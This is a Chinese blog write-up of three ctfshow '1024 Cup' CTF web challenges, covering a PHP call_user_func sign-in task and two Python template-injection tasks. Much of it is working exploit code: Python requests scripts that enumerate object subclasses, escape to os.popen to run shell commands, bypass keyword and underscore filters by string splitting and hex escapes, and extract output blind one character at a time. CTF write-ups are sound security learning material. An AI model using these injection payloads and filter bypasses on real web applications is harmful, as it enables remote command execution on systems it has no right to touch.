Fork me on GitHub

ctfshow 1024杯 部分web题解

  今年1024忙得厉害,去大上海参加geekpwn膜拜大佬,几家平台的题目没怎么好好看。特别是小破站的比赛拉跨的一批,bytectf的web到了第二天晚上所有题的题解加在一起还没有10解直接劝退(yuligeyyds!!!)。第回南京之后做了两道1024的题目,难度偏简单,在此记录一下。

1.1024_web签到

2.1024_fastapi

3.1024_hello_world

 

 

 

 

  1.1024_WEB签到

  开题得源码

  

 1 <?php
 2 
 3 /*
 4 # -*- coding: utf-8 -*-
 5 # @Author: h1xa
 6 # @Date:   2020-10-20 23:59:00
 7 # @Last Modified by:   h1xa
 8 # @Last Modified time: 2020-10-21 03:51:36
 9 # @email: h1xa@ctfer.com
10 # @link: https://ctfer.com
11 
12 */
13 
14 error_reporting(0);
15 highlight_file(__FILE__);
16 call_user_func($_GET['f']);

  看到危险函数call_user_func($_GET['f']);  第一反应应该是上传一句话木马getshell,但是这里只传入了一个参数进行执行,还以为是什么奇技淫巧,本地开了一个环境去测试。因为我在ubuntu的php环境是php5,所以在本地使用?f=assert(phpinfo())的时候确实是成功了,但是拿到题目环境里面插入一句话木马一直没能成功,才反应过来是php版本问题。

  传统的call_user_func 使用方法是call_user_func($func,$value),前面的是要执行的函数名字,后面是传入函数的参数值。一般来说$func传入的是assert,$value传入我们要执行的代码以达到rce的目的(在call_user_func中不能使用eval)。

  本题因为只有一个传入参数,并且传入的默认为是$value,所以我们先传入phpinfo试试,结果成功得到界面。

  通过查看phpinfo的信息我们直接发现了一个可执行的函数:

  传入f=ctfshow_1024执行函数得到flag,简单粗暴。

  flag{welcome_2_ctfshow_1024_cup}

 

2.1024_fastapi

  打开题目得到的是一个json数据,看了一眼题目fastapi,百度告诉我们FastAPI是基于python3.6+和标准python类型的一个现代化的,快速的(高性能),构建api的web框架。

  • Fast: 非常高的性能,媲美nodejs和go。可用的最快的Python框架之一.
  • Fast to Code 增加了200%~300%开发功能的速度
  • Fewer Buys 减少了40%的人为开发错误
  • Intuitive 伟大的编辑支持。减少了debug时间。
  • Easy 简单的使用和学习设计,减少了阅读文档的时间。
  • Short 减少代码重复,每个参数声明的多个特性,更少的错误。
  • Robust 获得生产就绪代码。自动交互文档。
  • Standards-based 基于开放的标准API: OpenAPIJSON Schema

  是python框架啊,那没事了,盲猜ssti。挂一个万能ssti文章:https://www.anquanke.com/post/id/188172

  稍微了解了一下fastapi得知它具有方便的api文档/redoc和/docs 在本题中我们尝试打开得到如下界面:

  看到此站点下还有一个/cccalccc页面,内容是一个计算器的实现,传入参数q应该是一个可以执行的计算式,显然我们的注入点就在这个q上面。几次测试之后发现{payload}能够实现注入,但是发现结果为list或string类型的都Internal Server Error或结果为空,尝试将string切片显示,发现成功出现回显。编写jio本康康有什么可以利用的模块:

 

1 import requests
2 
3 url='http://4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc'
4 for i in range(500):
5     data={'q':'str([].__class__.__base__.__subclasses__()['+str(i)+'])[1:]'}
6     r=requests.post(url,data)
7     print(i        ,r.text)

 

本题的环境是python3,所以利用方式要比python2中file模块的调用复杂多了。主要是利用__builtins__中的函数进行文件读取利用等等,而含有__builtins__的内建函数有这些:

(59, <class 'warnings.WarningMessage'>, '__builtins__')
(60, <class 'warnings.catch_warnings'>, '__builtins__')
(61, <class '_weakrefset._IterationGuard'>, '__builtins__')
(62, <class '_weakrefset.WeakSet'>, '__builtins__')
(72, <class 'site._Printer'>, '__builtins__')
(77, <class 'site.Quitter'>, '__builtins__')
(78, <class 'codecs.IncrementalEncoder'>, '__builtins__')
(79, <class 'codecs.IncrementalDecoder'>, '__builtins__')

 

可以利用的内建函数还有os和linechache等,具体情况具体分析,多看看上面给出的那篇参考文章。

  刚刚脚本跑出来的内建函数中发现了188.warnings.WarningMessage和189warnings.catch_warnings,可以进行利用

  尝试列出当前目录下的所有文件

  

1 import requests
2 
3 url = 'http://4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc'
4 payload = '{str([].__class__.__base__.__subclasses__()[188].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'ls\'))[1:]}'
5 data = {'q':payload}
6 r = requests.post(url,data)
7 print(r.text)

//{"res":"hack out!","err":false}

   发现过滤了system和import,import尝试使用im+port进行绕过,system使用popen代替,结尾要使用.read(),不然没有回显。

  关于popen:

用法:os.popen(command[,mode[,bufsize]])

说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。

popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。

  把payload改成


payload = '{str([].__class__.__base__.__subclasses__()[189].__init__.__globals__[\'__builtins__\'][\'__imp\'+\'ort__\'](\'os\').__dict__[\'pop\'+\'en\'](\'ls\').read())[1:]}'

  成功读取到当前的文件列表:{"res":["ain.py\nstart.sh\n"],"err":false}
  因为我们使用的是切片回显,所以第一个文件应该是main.py,m被切掉了。我们尝试去读取main.py的内容,结果如下:

  找到提示告诉我们flag在/mnt/f1a9里面,直接读取获得flag:

  flag{ea066230-29c9-4cbb-b1b9-2e8b4edf4abf}

后期复现内容:

3.1024_hello_world

  打开题目之后出现hello:key的字样,尝试去post传值key发现key的值是我们可控的,试了几个ssti注入后发现形如key={%if ""!=1%}wdnmd{%endif%}key={%if []!=1%}wdnmd{%endif%}能够回显出wdnmd,然后我们尝试进行当前模块的爆破:

key={%if "".__class__!=1%}wdnmd{%endif%},浏览器返回错误代码500,我们的payload应该是被waf拦截了。关于各种绕过姿势挂一篇文章,讲的很全:https://www.cnblogs.com/20175211lyz/p/11425368.html
  几次测试后发现本题只是拦截了"_",使用十六进制编码进行绕过即可。key={%if []["\x5f\x5fclass\x5f\x5f"]!=1%}wdnmd{%endif%}
  在这里讲一个小细节,如果你使用hackbar或者python的requests库直接传值含有编码的字符串时需要先将\进行转义,否则系统会帮你自动进行一次转义。而用burpsuite传值就不会出现这个问题。

考点二:ssti的盲注

  因为本题并没有直接的注入回显,所以我们需要利用自动化脚本去进行爆破。

  先寻找可以利用的模块:

 

 1 import requests
 2 url = 'http://01a8c7e5-74f8-42f3-abb2-8d5c052660d1.chall.ctf.show/'
 3 '''
 4 payload = '{%if""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()!=1%}wdnmd{%endif%}'
 5 data = {'key':payload}
 6 r = requests.post(url,data)
 7 print(r.text)
 8 '''
 9 
10 for i in range(1,200):
11     payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")!=1%}wdnmd{%endif%}'
12     # real_payload = '"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")'
13     data = {'key':payload}
14     r = requests.post(url,data)
15     if r.status_code == 200:
16         print(i)

 

  如果当前模块含有我们可以利用的builtins,当我们发送第12行注释里面的payload时系统会返回hello:wdnmd,此时?即为我们利用的模块序号,爆破结果如下:

  

 

  可以利用的模块有很多,接下来就是利用盲注脚本去查看当前目录和根目录,在这里踩了个雷,因为此时的payload不管爆破对错返回的状态码都是200,所以不能用r.status_code==200去进行判断,当字符匹配的时候服务器会返回wdnmd字样,利用wdnmd去进行爆破。

  

 1 import requests
 2 import string
 3 abt = string.ascii_lowercase+string.digits+'-_{}'
 4 url = 'http://01a8c7e5-74f8-42f3-abb2-8d5c052660d1.chall.ctf.show/'
 5 cmd = 'ls /'
 6 ans = ''
 7 for i in range(0,80):
 8     for le in abt:
 9         payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}wdnmd{%endif%}'
10         data = {'key':payload}
11         r = requests.post(url,data)
12         if 'wdnmd' in r.text:
13             ans += le
14             print('ans = '+ans)
15             break

 

 

 

  在根目录下面发现了ctfshow的信息:

  

 

  最终exp:

  

 1 import requests
 2 import string
 3 abt = string.ascii_lowercase+string.digits+'-_{}'
 4 url = 'http://01a8c7e5-74f8-42f3-abb2-8d5c052660d1.chall.ctf.show/'
 5 cmd = 'cat /ctfshow*'
 6 ans = ''
 7 for i in range(0,80):
 8     for le in abt:
 9         payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}wdnmd{%endif%}'
10         data = {'key':payload}
11         r = requests.post(url,data)
12         if 'wdnmd' in r.text:
13             ans += le
14             print('ans = '+ans)
15             break

 

flag{7069c751-5cf9-4674-a8cd-750d0b71d436}

 

posted @ 2020-10-27 16:39  M1saka_L1gh73r  阅读(963)  评论(0编辑  收藏  举报